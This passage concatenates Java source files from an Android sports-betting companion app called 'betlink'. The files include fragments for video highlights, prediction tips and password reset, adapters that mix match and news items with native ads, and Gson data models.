com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class VideoHighlight extends Fragment { private RecyclerView recyclerView; private SwipeRefreshLayout refreshLayout; private VideoAdapter adapter; private AdLoader adLoader; private List<Object> objects = new ArrayList<>(); private List<Video> videos = new ArrayList<>(); private ProgressBar loadinBar; private boolean isLoading = true; private int page = 0, number = 1; public VideoHighlight() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_video, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); //load news items loadVideos(page); //listen to recycler view scroll recyclerScrollListener(); //loads the ads bellow loadAds(); } private void init() { loadinBar = getView().findViewById(R.id.loading_bar); //initialize the recyclerView recyclerView = getView().findViewById(R.id.video_recycler); LinearLayoutManager manager = new LinearLayoutManager(getContext()); adapter = new VideoAdapter(getContext(), objects); recyclerView.setLayoutManager(manager); recyclerView.setAdapter(adapter); refreshLayout = getView().findViewById(R.id.refresh); //listen to refresh action refreshLayout.setDistanceToTriggerSync(100); refreshLayout.setOnRefreshListener( () ->{ if(!isLoading) { isLoading = true; page = 0; objects = new ArrayList<>(); //load news items loadVideos(page); } }); } private void loadVideos(int page) { //load videos from network RestApi api = RestService.getInstance().create(RestApi.class); Call<VideoResponse> videoCall = api.fetchVideos(page); videoCall.enqueue(new Callback<VideoResponse>() { @Override public void onResponse(Call<VideoResponse> call, Response<VideoResponse> response) { if(response.isSuccessful()){ if(response.body().getCode() == 200){ videos = response.body().getData(); if(page == 0) { objects.addAll(videos); //add the fetched videos to the list adapter = new VideoAdapter(getContext(), objects); recyclerView.setAdapter(adapter); } else{ //subsequent pages objects.remove(objects.size() - 1); int x = objects.size(); adapter.notifyItemRemoved(x); objects.addAll(videos); adapter.notifyDataSetChanged(); //close network loading handles isLoading = false; //flush ads on the new item list loadAds(); } } } //hides the progress bar isLoading = false; loadinBar.setVisibility(View.GONE); refreshLayout.setRefreshing(false); } @Override public void onFailure(Call<VideoResponse> call, Throwable t) { if(page == 0){ loadinBar.setVisibility(View.GONE); Toast.makeText(getContext(), "network error", Toast.LENGTH_SHORT); refreshLayout.setRefreshing(false); } isLoading = false; } }); } private void recyclerScrollListener() { //listen to whenever the recycler view scroll changes recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrollStateChanged(@NonNull RecyclerView recyclerView, int newState) { super.onScrollStateChanged(recyclerView, newState); } @Override public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); LinearLayoutManager manager = (LinearLayoutManager) recyclerView.getLayoutManager(); if (manager != null && manager.findLastCompletelyVisibleItemPosition() == objects.size() - 1) { if (!isLoading) { isLoading = true; loadMoreData(); } } } }); } private void loadMoreData() { page += 1; objects.add(null); //notify adapter for the item change adapter.notifyItemInserted(objects.size() - 1); //load the next data on the list loadVideos(page); } private void loadAds(){ adLoader = new AdLoader.Builder(getContext(), getString(R.string.ads_native_units)) .forUnifiedNativeAd(unifiedNativeAd -> { int x = number * 6; if(objects.size() >= x) objects.add(x, unifiedNativeAd); adapter.notifyItemInserted(x); number += 1; }) .withAdListener(new AdListener() { @Override public void onAdLeftApplication() { super.onAdLeftApplication(); // notifyAdsAction("LeftApplication"); } @Override public void onAdClicked() { super.onAdClicked(); //notifyAdsAction("Clicked"); } @Override public void onAdFailedToLoad(int errorCode) { // Handle the failure by logging, altering the UI, and so on. Log.d("ads_load_error", "error loading ads. " + errorCode); } }) .withNativeAdOptions(new NativeAdOptions.Builder() // Methods in the NativeAdOptions.Builder class can be // used here to specify individual options settings. .build()) .build(); adLoader.loadAds(new AdRequest.Builder().build(), 3); } } <file_sep>/app/src/main/java/com/mycornership/betlink/adapters/MatchAdapter.java package com.mycornership.betlink.adapters; import android.content.Context; import android.net.Uri; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.RatingBar; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import com.google.android.gms.ads.formats.MediaView; import com.google.android.gms.ads.formats.NativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAdView; import com.mycornership.betlink.R; import com.mycornership.betlink.models.Match; import java.util.Calendar; import java.util.Date; import java.util.List; import java.util.TimeZone; public class MatchAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { private static final int VIEW_TYPE_LOAD = 0; private static final int VIEW_TYPE_ITEM = 1; private static final int VIEW_TYPE_ADS = 2; private List<Object> matches; private Context context; private String cnt = ""; public MatchAdapter(Context c, List<Object> objects) { this.context = c; this.matches = objects; } @NonNull @Override public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { if(viewType == VIEW_TYPE_ITEM){ View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.match_inflator, parent, false); return new matchHolder(view); } else if(viewType == VIEW_TYPE_LOAD){ View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.loading_inflator, parent, false); return new loadHolder(view); } else { View ads = LayoutInflater.from(parent.getContext()).inflate(R.layout.ads_inflator, parent, false); return new adsHolder(ads); } } @Override public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) { if(holder instanceof matchHolder){ Match match = (Match)matches.get(position); //display matches populatesMatch((matchHolder)holder, position, match); } else if(holder instanceof adsHolder){ //display ads UnifiedNativeAd nativeAd = (UnifiedNativeAd)matches.get(position); showAdsItem((adsHolder)holder, nativeAd); } else { //shows the loading bar ((loadHolder)holder).bar.setVisibility(View.VISIBLE); } } @Override public int getItemCount() { return matches == null ? 0 : matches.size(); } @Override public int getItemViewType(int position) { Object object = matches.get(position); if( object instanceof Match){ return VIEW_TYPE_ITEM; } else if(object instanceof UnifiedNativeAd){ //replace Integer with 'UnifiedNativeAd' return VIEW_TYPE_ADS; } else { return VIEW_TYPE_LOAD; } } private class matchHolder extends RecyclerView.ViewHolder { View hwin, awin, rlayout; TextView tv_league, tv_time_status, tv_home, tv_away, tv_h_score, tv_a_score; ImageView country; public matchHolder(View view) { super(view); tv_league = view.findViewById(R.id.tournament); tv_time_status = view.findViewById(R.id.match_time_status); tv_home = view.findViewById(R.id.home_team); tv_away = view.findViewById(R.id.away_team); hwin = view.findViewById(R.id.hview); awin = view.findViewById(R.id.aview); tv_a_score = view.findViewById(R.id.away_score); tv_h_score = view.findViewById(R.id.home_score); rlayout = view.findViewById(R.id.rlt); country = view.findViewById(R.id.country_logo); } } private class loadHolder extends RecyclerView.ViewHolder { ProgressBar bar; public loadHolder(View view) { super(view); bar = view.findViewById(R.id.loading_bar); } } private class adsHolder extends RecyclerView.ViewHolder { private UnifiedNativeAdView adView; public adsHolder(View adsView) { super(adsView); adView = itemView.findViewById(R.id.ad_view); //register the ad view with its assets adView.setMediaView((MediaView)adView.findViewById(R.id.ad_media)); adView.setHeadlineView(adView.findViewById(R.id.ad_headline)); adView.setBodyView(adView.findViewById(R.id.ad_body)); adView.setCallToActionView(adView.findViewById(R.id.ad_call_to_action)); adView.setAdvertiserView(adView.findViewById(R.id.ad_advertiser)); adView.setStoreView(adView.findViewById(R.id.ad_store)); adView.setPriceView(adView.findViewById(R.id.ad_price)); adView.setIconView(adView.findViewById(R.id.ad_icon)); adView.setStarRatingView(adView.findViewById(R.id.ad_stars)); } public UnifiedNativeAdView getUnifiedAdView(){ return adView; } } private void showAdsItem(adsHolder holder, UnifiedNativeAd nativeAd) { //bind the ads content to the UI ((TextView)holder.getUnifiedAdView().getHeadlineView()).setText(nativeAd.getHeadline()); ((TextView)holder.getUnifiedAdView().getBodyView()).setText(nativeAd.getBody()); ((Button)holder.getUnifiedAdView().getCallToActionView()).setText(nativeAd.getCallToAction()); NativeAd.Image icon = nativeAd.getIcon(); if(icon == null){ holder.getUnifiedAdView().getIconView().setVisibility(View.INVISIBLE); } else { ((ImageView)holder.getUnifiedAdView().getIconView()).setImageDrawable(icon.getDrawable()); } if(nativeAd.getBody() == null){ holder.getUnifiedAdView().getBodyView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getBodyView().setVisibility(View.VISIBLE); ((TextView)holder.getUnifiedAdView().getBodyView()).setText(nativeAd.getBody()); } if(nativeAd.getPrice() == null){ holder.getUnifiedAdView().getPriceView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getPriceView().setVisibility(View.VISIBLE); ((TextView)holder.getUnifiedAdView().getPriceView()).setText(nativeAd.getPrice()); } if(nativeAd.getStore() == null){ holder.getUnifiedAdView().getStoreView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getStoreView().setVisibility(View.VISIBLE); ((TextView)holder.getUnifiedAdView().getStoreView()).setText(nativeAd.getStore()); } if(nativeAd.getStarRating() == null){ holder.getUnifiedAdView().getStarRatingView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getStarRatingView().setVisibility(View.VISIBLE); ((RatingBar)holder.getUnifiedAdView().getStarRatingView()).setRating(nativeAd.getStarRating().floatValue()); } if(nativeAd.getAdvertiser() == null){ holder.getUnifiedAdView().getAdvertiserView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getAdvertiserView().setVisibility(View.VISIBLE); ((TextView)holder.getUnifiedAdView().getAdvertiserView()).setText(nativeAd.getAdvertiser()); } if(nativeAd.getCallToAction() == null){ holder.getUnifiedAdView().getCallToActionView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getCallToActionView().setVisibility(View.VISIBLE); ((Button)holder.getUnifiedAdView().getCallToActionView()).setText(nativeAd.getCallToAction()); } holder.getUnifiedAdView().setNativeAd(nativeAd); } private void populatesMatch(matchHolder holder, int position, Match match) { cnt = match.getLeague().getCountry(); String lgn; if(cnt.length() > 0 && !cnt.equals("World")) lgn = match.getLeague().getName() + " - " + match.getLeague().getCountry(); else lgn = match.getLeague().getName(); //sets the league name and country if applicable holder.tv_league.setText(lgn); if(match.getLeague().getName().equals("")) holder.rlayout.setVisibility(View.GONE); else holder.rlayout.setVisibility(View.VISIBLE); //sets the country Image logo Glide.with(context).load(match.getLeague().getLogo()) .into(holder.country); //sets the winning icon if(match.getHomeGoal() == match.getAwayGoal()){ holder.hwin.setVisibility(View.GONE); holder.awin.setVisibility(View.GONE); } else if(match.getHomeGoal() > match.getAwayGoal()){ holder.hwin.setVisibility(View.VISIBLE); holder.awin.setVisibility(View.GONE); } else{ holder.hwin.setVisibility(View.GONE); holder.awin.setVisibility(View.VISIBLE); } String h = "" + match.getHomeGoal(); String a = "" + match.getAwayGoal(); //sets the match time if(match.getStatus().equals("Match Postponed")) { holder.tv_time_status.setText("PST"); holder.tv_h_score.setText("-"); holder.tv_a_score.setText("-"); } else if(match.getStatus().equals("Match Finished")) { holder.tv_time_status.setText("FT"); holder.tv_h_score.setText(h); holder.tv_a_score.setText(a); } else if(match.getStatus().equals("Match Cancelled")) { holder.tv_time_status.setText("CNC"); holder.tv_h_score.setText("-"); holder.tv_a_score.setText("-"); } else { holder.tv_time_status.setText(getMatchTime(match.getMatchTime())); holder.tv_h_score.setText(h); holder.tv_a_score.setText(a); } //sets other properties holder.tv_home.setText(match.getHomeTeam().getName()); holder.tv_away.setText(match.getAwayTeam().getName()); } private String getMatchTime(long unix_time){ Date date = new Date(unix_time * 1000L); Calendar c = Calendar.getInstance(); c.setTime(date); c.setTimeZone(TimeZone.getDefault()); String hour, min; int h = c.get(Calendar.HOUR_OF_DAY); int m = c.get(Calendar.MINUTE); if(h < 10) hour = "0" + h; else hour = h + ""; if(m < 10) min = "0" + m; else min = m + ""; return hour + ":" + min ; } } <file_sep>/app/src/main/java/com/mycornership/betlink/models/BirthdaySticker.java package com.mycornership.betlink.models; import com.google.gson.annotations.SerializedName; public class BirthdaySticker { @SerializedName("id") private long id; @SerializedName("celebrant") private String celebrant; @SerializedName("username") private String username; @SerializedName("userPhoto") private String userPhoto; @SerializedName("sticker") private String sticker; public BirthdaySticker() { } public long getId() { return id; } public void setId(long id) { this.id = id; } public String getCelebrant() { return celebrant; } public void setCelebrant(String celebrant) { this.celebrant = celebrant; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getUserPhoto() { return userPhoto; } public void setUserPhoto(String userPhoto) { this.userPhoto = userPhoto; } public String getSticker() { return sticker; } public void setSticker(String sticker) { this.sticker = sticker; } } <file_sep>/app/src/main/java/com/mycornership/betlink/models/Tournament.java package com.mycornership.betlink.models; import com.google.gson.annotations.SerializedName; public class Tournament { @SerializedName("leagueId") private long leagueId; @SerializedName("type") private int type; @SerializedName("logo") private String logo; @SerializedName("name") private String name; @SerializedName("shortName") private String shortName; @SerializedName("country") private String country; @SerializedName("countryLogo") private String countryLogo; @SerializedName("countryId") private String countryId; public Tournament() { } public long getLeagueId() { return leagueId; } public void setLeagueId(long leagueId) { this.leagueId = leagueId; } public int getType() { return type; } public void setType(int type) { this.type = type; } public String getLogo() { return logo; } public void setLogo(String logo) { this.logo = logo; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getShortName() { return shortName; } public void setShortName(String shortName) { this.shortName = shortName; } public String getCountry() { return country; } public void setCountry(String country) { this.country = country; } public String getCountryLogo() { return countryLogo; } public void setCountryLogo(String countryLogo) { this.countryLogo = countryLogo; } public String getCountryId() { return countryId; } public void setCountryId(String countryId) { this.countryId = countryId; } } <file_sep>/app/src/main/java/com/mycornership/betlink/adapters/NewsAdapter.java package com.mycornership.betlink.adapters; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.RatingBar; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import com.google.android.ads.nativetemplates.NativeTemplateStyle; import com.google.android.ads.nativetemplates.TemplateView; import com.google.android.gms.ads.AdLoader; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.formats.MediaView; import com.google.android.gms.ads.formats.NativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAdView; import com.mycornership.betlink.R; import com.mycornership.betlink.activities.NewsActivity; import com.mycornership.betlink.models.News; import java.util.ArrayList; import java.util.List; public class NewsAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { private static final int VIEW_TYPE_LOAD = 0; private static final int VIEW_TYPE_ITEM = 1; private static final int VIEW_TYPE_ADS = 2; private Context context; private List<Object> timelines = new ArrayList<>(); private AdLoader adLoader; public NewsAdapter(Context c, List<Object> objects){ this.context = c; this.timelines = objects; } @NonNull @Override public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { if(viewType == VIEW_TYPE_ITEM){ View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.timeline_inflator, parent, false); return new timelineHolder(view); } else if(viewType == VIEW_TYPE_ADS){ View ads = LayoutInflater.from(parent.getContext()).inflate(R.layout.template_ads_view, parent, false); return new adsHolder(ads); } else { View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.loading_inflator, parent, false); return new loadHolder(view); } } @Override public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) { if(holder instanceof timelineHolder){ populateView((timelineHolder)holder, position); } else if(holder instanceof adsHolder){ //sets up ads using banner adLoader = new AdLoader.Builder(context, "ca-app-pub-9133642311191277~6577598985") .forUnifiedNativeAd(unifiedNativeAd -> { NativeTemplateStyle styles = new NativeTemplateStyle.Builder().build(); ((adsHolder) holder).templateView.setStyles(styles); ((adsHolder) holder).templateView.setNativeAd(unifiedNativeAd); }) .build(); adLoader.loadAd(new AdRequest.Builder().build()); } else { //shows the loading bar ((loadHolder)holder).bar.setVisibility(View.VISIBLE); } } @Override public int getItemCount() { return timelines == null ? 0 : timelines.size(); } @Override public int getItemViewType(int position) { Object item = timelines.get(position); if(item instanceof News){ return VIEW_TYPE_ITEM; } else if(item instanceof Integer){ return VIEW_TYPE_ADS; } else { return VIEW_TYPE_LOAD; } } private class timelineHolder extends RecyclerView.ViewHolder { ImageView tln_image; TextView tv_title, tv_date, tv_source; public timelineHolder(View view) { super(view); tln_image = itemView.findViewById(R.id.timeline_media); tv_title = itemView.findViewById(R.id.timeline_headline); tv_date = itemView.findViewById(R.id.timeline_date_time); tv_source = itemView.findViewById(R.id.timeline_source); } } private class adsHolder extends RecyclerView.ViewHolder { TemplateView templateView; public adsHolder(View ads) { super(ads); templateView = ads.findViewById(R.id.my_template); } } private class loadHolder extends RecyclerView.ViewHolder { private ProgressBar bar; public loadHolder(View view) { super(view); bar = view.findViewById(R.id.loading_bar); } } private void populateView(timelineHolder holder, int position) { News newsItem = (News)timelines.get(position); Log.d("item", newsItem.toString()); holder.tv_title.setText(newsItem.getTitle()); holder.tv_date.setText(newsItem.getEventDate()); holder.tv_source.setText(newsItem.getSource()); //displays the image on the image view Glide.with(context) .load(newsItem.getMediaUrl()).into(holder.tln_image); holder.itemView.setOnClickListener(v ->{ //opens the netail activity //news Intent i = new Intent(context, NewsActivity.class); //i.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); i.putExtra("body",newsItem.getDetail()); i.putExtra("title", newsItem.getTitle()); i.putExtra("url", newsItem.getMediaUrl()); i.putExtra("editor", newsItem.getEditor()); i.putExtra("date", newsItem.getEventDate()); i.putExtra("time", newsItem.getEventTime()); i.putExtra("category", newsItem.getCategory()); i.putExtra("news_id", String.valueOf(newsItem.getId())); //start activity context.startActivity(i); }); } } <file_sep>/app/src/main/java/com/mycornership/betlink/database/UserVModel.java package com.mycornership.betlink.database; import android.app.Application; import androidx.annotation.NonNull; import androidx.lifecycle.AndroidViewModel; import com.mycornership.betlink.models.User; public class UserVModel extends AndroidViewModel { private UserRepository repository; public UserVModel(@NonNull Application application) { super(application); repository = new UserRepository(application); } public void add(User user){ repository.inserProfile(user); } public User get(String username){ return repository.getProfile(username); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/auth/ForgotPassword.java package com.mycornership.betlink.fragments.auth; import android.content.Intent; import android.os.Bundle; import android.text.TextUtils; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.navigation.Navigation; import com.amplifyframework.core.Amplify; import com.google.android.material.button.MaterialButton; import com.google.android.material.textfield.TextInputEditText; import com.google.android.material.textfield.TextInputLayout; import com.mycornership.betlink.R; public class ForgotPassword extends Fragment { TextInputEditText edt_ph; MaterialButton btn_continue; TextInputLayout layout; ProgressBar bar; public ForgotPassword() { } @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_forgot_password, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); } @Override public void onResume() { super.onResume(); } private void init(){ edt_ph = getView().findViewById(R.id.phone); layout = getView().findViewById(R.id.layout1); bar = getView().findViewById(R.id.loading_bar); bar.setVisibility(View.GONE); btn_continue = getView().findViewById(R.id.btn_recover); btn_continue.setOnClickListener(v ->{ String user = edt_ph.getText().toString(); if(!TextUtils.isEmpty(user)){ forgot(user); } }); } private void forgot(String user){ //shows progress bar.setVisibility(View.VISIBLE); Amplify.Auth.resetPassword(user, result ->{ //hides progress bar.setVisibility(View.GONE); Bundle b = new Bundle(); b.putString("username", user); Navigation.findNavController(getView()).navigate(R.id.forgotpasswordConfirm, b); }, error ->{ //hides progress bar.setVisibility(View.GONE); Toast.makeText(getContext(), error.getMessage(), Toast.LENGTH_SHORT).show(); }); } } <file_sep>/app/src/main/java/com/mycornership/betlink/adapters/RelatedNewsAdapter.java package com.mycornership.betlink.adapters; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import com.mycornership.betlink.R; import com.mycornership.betlink.activities.NewsActivity; import com.mycornership.betlink.models.News; import java.util.List; public class RelatedNewsAdapter extends RecyclerView.Adapter<RelatedNewsAdapter.RVHolder> { private List<News> hotlines; private Context c; public RelatedNewsAdapter(Context context, List<News> items){ this.hotlines = items; this.c = context; } @NonNull @Override public RelatedNewsAdapter.RVHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.related_inflator, parent, false); return new RVHolder(view); } @Override public void onBindViewHolder(@NonNull RelatedNewsAdapter.RVHolder holder, final int position) { holder.title.setText(hotlines.get(position).getTitle()); holder.source.setText(hotlines.get(position).getSource()); holder.time.setText(hotlines.get(position).getEventDate()); String url = hotlines.get(position).getMediaUrl(); Glide.with(c).asBitmap() .load(url) .into(holder.img); holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { //open new window to read the entire news News timeline = hotlines.get(position); showDetail(timeline); } }); } @Override public int getItemCount() { return hotlines.size(); } public class RVHolder extends RecyclerView.ViewHolder { TextView title, time, source; ImageView img; public RVHolder(@NonNull View itemView) { super(itemView); time = itemView.findViewById(R.id.related_time); title = itemView.findViewById(R.id.related_title); source = itemView.findViewById(R.id.related_source); img = itemView.findViewById(R.id.related_image_handle); } } private void showDetail(News news) { Intent i = new Intent(c, NewsActivity.class); //i.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); i.putExtra("body",news.getDetail()); i.putExtra("title", news.getTitle()); i.putExtra("url", news.getMediaUrl()); i.putExtra("editor", news.getEditor()); i.putExtra("date", news.getEventDate()); i.putExtra("time", news.getEventTime()); i.putExtra("category", news.getCategory()); i.putExtra("news_id", String.valueOf(news.getId())); //navigates to news activity c.startActivity(i); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/tips/ControlledTips.java package com.mycornership.betlink.fragments.tips; import android.content.Intent; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.swiperefreshlayout.widget.SwipeRefreshLayout; import android.text.TextUtils; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import com.amplifyframework.core.Amplify; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdLoader; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.formats.NativeAdOptions; import com.google.android.material.snackbar.Snackbar; import com.mycornership.betlink.R; import com.mycornership.betlink.activities.AuthActivity; import com.mycornership.betlink.activities.NavHomeActivity; import com.mycornership.betlink.adapters.TipsAdapter; import com.mycornership.betlink.models.Prediction; import com.mycornership.betlink.models.TipsResponse; import com.mycornership.betlink.networks.NetworkAvailability; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class ControlledTips extends Fragment { private RecyclerView recyclerView; private TipsAdapter adapter; private SwipeRefreshLayout refreshLayout; private List<Object> objects = new ArrayList<>(); private List<Prediction> tips = new ArrayList<>(); private ProgressBar loadinBar; private int page = 0, number = 1; private AdLoader adLoader; private boolean isLoading = true; private String user = ""; public ControlledTips() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_controlled_tips, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); if(Amplify.Auth.getCurrentUser() != null) { user = Amplify.Auth.getCurrentUser().getUsername(); //show progress loadinBar.setVisibility(View.VISIBLE); //load news items loadTips(page); } else { //shows login action Snackbar.make(getView(), "Sign-In to access Predictions", Snackbar.LENGTH_INDEFINITE) .setAction("Login", v ->{ //navigates to the login page Intent i = new Intent(getContext(), AuthActivity.class); i.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); startActivity(i); }).setTextColor(getContext().getResources().getColor(R.color.white)) .setActionTextColor(getContext().getResources().getColor(R.color.yll)) .show(); } //add listener to the recycler view recyclerScrollListener(); //load native ads loadAds(); } private void init() { loadinBar = getView().findViewById(R.id.loading_bar); loadinBar.setVisibility(View.GONE); //initialize the recyclerView recyclerView = getView().findViewById(R.id.tips_recycler); LinearLayoutManager manager = new LinearLayoutManager(getContext()); adapter = new TipsAdapter(getContext(), objects, "standard"); recyclerView.setLayoutManager(manager); recyclerView.setAdapter(adapter); refreshLayout = getView().findViewById(R.id.refresh); refreshLayout.setDistanceToTriggerSync(100); refreshLayout.setOnRefreshListener( () ->{ if(!TextUtils.isEmpty(user)) { page = 0; objects = new ArrayList<>(); if(Amplify.Auth.getCurrentUser() != null) loadTips(page); else complain(); } }); } private void loadTips(int page) { if(NetworkAvailability.isConnected(getContext())){ //load basic tips RestApi api = RestService.getInstance().create(RestApi.class); Call<TipsResponse> tipsCall = api.fetchTips("standard", page); tipsCall.enqueue(new Callback<TipsResponse>() { @Override public void onResponse(Call<TipsResponse> call, Response<TipsResponse> response) { if (response.isSuccessful()) { if (response.body().getCode() == 200) { tips = response.body().getData(); objects.addAll(tips); adapter = new TipsAdapter(getContext(), objects, "standard"); //binds the recyclerview recyclerView.setAdapter(adapter); } } //set loading to false isLoading = false; //turns off refreshing if its On refreshLayout.setRefreshing(false); //hides the progress bar loadinBar.setVisibility(View.GONE); } @Override public void onFailure(Call<TipsResponse> call, Throwable t) { if(page == 0) { loadinBar.setVisibility(View.GONE); Toast.makeText(getContext(), "network error!", Toast.LENGTH_SHORT).show(); } isLoading = false; //turns off refreshing if its On refreshLayout.setRefreshing(false); } }); } else{ loadinBar.setVisibility(View.GONE); //turns off refreshing if its On refreshLayout.setRefreshing(false); Toast.makeText(getContext(), "no network", Toast.LENGTH_SHORT).show(); } } private void recyclerScrollListener() { //listen to whenever the recycler view scroll changes recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrollStateChanged(@NonNull RecyclerView recyclerView, int newState) { super.onScrollStateChanged(recyclerView, newState); } @Override public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); LinearLayoutManager manager = (LinearLayoutManager) recyclerView.getLayoutManager(); if (manager != null && manager.findLastCompletelyVisibleItemPosition() == objects.size() - 1) { if (!isLoading) { isLoading = true; loadMoreData(); } } } }); } @Override public void onResume() { super.onResume(); if(Amplify.Auth.getCurrentUser() == null) { //shows login action Snackbar.make(getView(), "Sign-In to access Predictions", Snackbar.LENGTH_INDEFINITE) .setAction("Login", v ->{ //navigates to the login page Intent i = new Intent(getContext(), NavHomeActivity.class); i.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); i.putExtra("login", "login"); startActivity(i); }).setTextColor(getContext().getResources().getColor(R.color.white)) .setActionTextColor(getContext().getResources().getColor(R.color.yll)) .show(); } } private void loadMoreData() { page += 1; objects.add(null); //notify adapter for the item change adapter.notifyItemInserted(objects.size() - 1); //load the next data on the list loadTips(page); } private void loadAds(){ adLoader = new AdLoader.Builder(getContext(), getString(R.string.ads_native_units)) .forUnifiedNativeAd(unifiedNativeAd -> { int x = number * 13; if(objects.size() >= x) objects.add(x, unifiedNativeAd); adapter.notifyItemInserted(x); number += 1; }) .withAdListener(new AdListener() { @Override public void onAdLeftApplication() { super.onAdLeftApplication(); // notifyAdsAction("LeftApplication"); } @Override public void onAdClicked() { super.onAdClicked(); //notifyAdsAction("Clicked"); } @Override public void onAdFailedToLoad(int errorCode) { // Handle the failure by logging, altering the UI, and so on. Log.d("ads_load_error", "error loading ads. " + errorCode); } }) .withNativeAdOptions(new NativeAdOptions.Builder() // Methods in the NativeAdOptions.Builder class can be // used here to specify individual options settings. .build()) .build(); adLoader.loadAds(new AdRequest.Builder().build(), 3); } private void complain(){ //shows login action Snackbar.make(getView(), "Sign-In to access Predictions", Snackbar.LENGTH_INDEFINITE) .setAction("Login", v ->{ //navigates to the login page Intent i = new Intent(getContext(), NavHomeActivity.class); i.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); i.putExtra("login", "login"); startActivity(i); // getActivity().finish(); }).setTextColor(getContext().getResources().getColor(R.color.white)) .setActionTextColor(getContext().getResources().getColor(R.color.yll)) .show(); } } <file_sep>/app/src/main/java/com/mycornership/betlink/models/FBModel.java package com.mycornership.betlink.models; import androidx.annotation.NonNull; import com.google.gson.annotations.SerializedName; public class FBModel { @SerializedName("message") private String message; @SerializedName("type") private String type; @SerializedName("error_user_title") private String userTitle; @SerializedName("error_user_msg") private String userMessage; @SerializedName("code") private String code; @SerializedName("fbtrace_id") private String traceId; public FBModel() { } public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } public String getType() { return type; 